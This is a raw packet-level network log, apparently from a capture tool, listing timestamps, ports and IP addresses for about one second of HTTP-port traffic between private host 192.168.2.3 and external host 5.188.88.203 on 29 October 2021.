Oct 29, 2021 14:10:01.262444019 CEST	80	49796	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.262568951 CEST	49796	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.262718916 CEST	49796	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.262732983 CEST	49796	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.338407040 CEST	80	49796	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.338706017 CEST	80	49796	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.417509079 CEST	80	49796	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.417607069 CEST	49796	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.417654037 CEST	49796	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.446400881 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.490808964 CEST	80	49796	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.515613079 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.515744925 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.515846968 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.515856028 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.587240934 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668098927 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668153048 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668190956 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668205023 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.668231964 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668273926 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668292046 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.668312073 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668354034 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668365002 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.668392897 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668430090 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668438911 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.668467999 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.668518066 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.736361980 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736421108 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736459970 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736500025 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736538887 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736546040 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.736576080 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.736581087 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736620903 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736658096 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736660957 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.736696959 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736735106 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736757040 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.736772060 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736808062 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.736809969 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736875057 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736929893 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.736949921 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.736989021 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.737029076 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.737054110 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.737066031 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.737104893 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.737121105 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.737144947 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.737183094 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.737211943 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.737348080 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.805120945 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805188894 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805248976 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805310011 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805368900 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.805372000 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805401087 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.805432081 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805490017 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805541039 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805567026 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.805588961 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805628061 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805666924 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805702925 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805741072 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805778027 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805815935 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805825949 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.805840969 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.805855989 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805892944 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805931091 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.805968046 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806005001 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806041956 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806080103 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806118011 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806155920 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806183100 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806214094 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806255102 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806293964 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806332111 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806361914 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.806366920 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806406021 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806420088 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.806442976 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806480885 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806519985 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806556940 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806595087 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806632042 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806668997 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806706905 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806746006 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.806777954 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.806824923 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.874551058 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.874630928 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.874689102 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.874702930 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.874747038 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.874805927 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.874850035 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.874865055 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.874924898 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.874933004 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.874978065 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875029087 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875036955 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875088930 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875133991 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875139952 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875171900 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875211000 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875228882 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875252962 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875292063 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875327110 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875341892 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875365019 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875402927 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875408888 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875438929 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875475883 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875483990 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875516891 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875540972 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875555038 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875596046 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875611067 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875633955 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875684977 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875725985 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875761032 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875780106 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875798941 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875837088 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875850916 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875875950 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875915051 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875927925 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.875956059 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.875993013 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876008987 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.876034975 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876070976 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876085997 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.876108885 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876146078 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876159906 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.876183987 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876224041 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876240015 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.876259089 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876296997 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876311064 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.876334906 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876372099 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876390934 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.876410007 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876446962 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876463890 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.876486063 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876524925 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876543999 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.876564026 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.876626968 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944093943 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944127083 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944153070 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944178104 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944183111 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944221020 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944227934 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944245100 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944267988 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944292068 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944300890 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944319963 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944345951 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944369078 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944392920 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944401979 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944417953 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944448948 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944536924 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944574118 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944603920 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944639921 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944680929 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944715023 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944739103 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944741964 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944770098 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944799900 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944837093 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944892883 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.944895983 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944937944 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944968939 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944994926 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.944998980 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945024014 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945036888 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945051908 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945080996 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945100069 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945122957 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945161104 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945178032 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945197105 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945229053 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945245981 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945256948 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945285082 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945312023 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945338964 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945358038 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945369959 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945396900 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945416927 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945436001 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945465088 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945496082 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945523977 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945542097 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945559025 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945586920 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945625067 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945662022 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945681095 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945700884 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.945704937 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:01.945741892 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:01.946695089 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.012268066 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012316942 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012356043 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012397051 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012434959 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012474060 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012511969 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012531042 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.012550116 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012564898 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.012590885 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012623072 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.012629986 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.012686014 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013225079 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013266087 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013294935 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013334036 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013371944 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013407946 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013410091 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013422966 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013451099 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013487101 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013526917 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013555050 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013576031 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013613939 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013627052 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013652086 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013691902 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013705969 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013729095 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013767004 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013780117 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013803005 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013840914 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013859034 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013880014 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013916969 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013933897 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.013956070 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.013994932 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014030933 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014058113 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.014069080 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014097929 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.014122963 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014158964 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014194012 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.014198065 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014235020 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014272928 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014290094 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.014312983 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014348030 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014362097 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.014386892 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014426947 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014442921 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.014462948 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014484882 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.014502048 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014539957 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014580011 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014620066 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014635086 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.014657974 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.014707088 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.080599070 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080650091 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080688953 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080725908 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080765009 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080780983 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.080805063 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080811977 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.080845118 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080912113 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080950022 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.080954075 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.080991030 CEST	80	49797	5.188.88.203	192.168.2.3
Oct 29, 2021 14:10:02.081033945 CEST	49797	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:10:02.081049919 CEST	80	49797	5.188.88.203	192.168.2.3
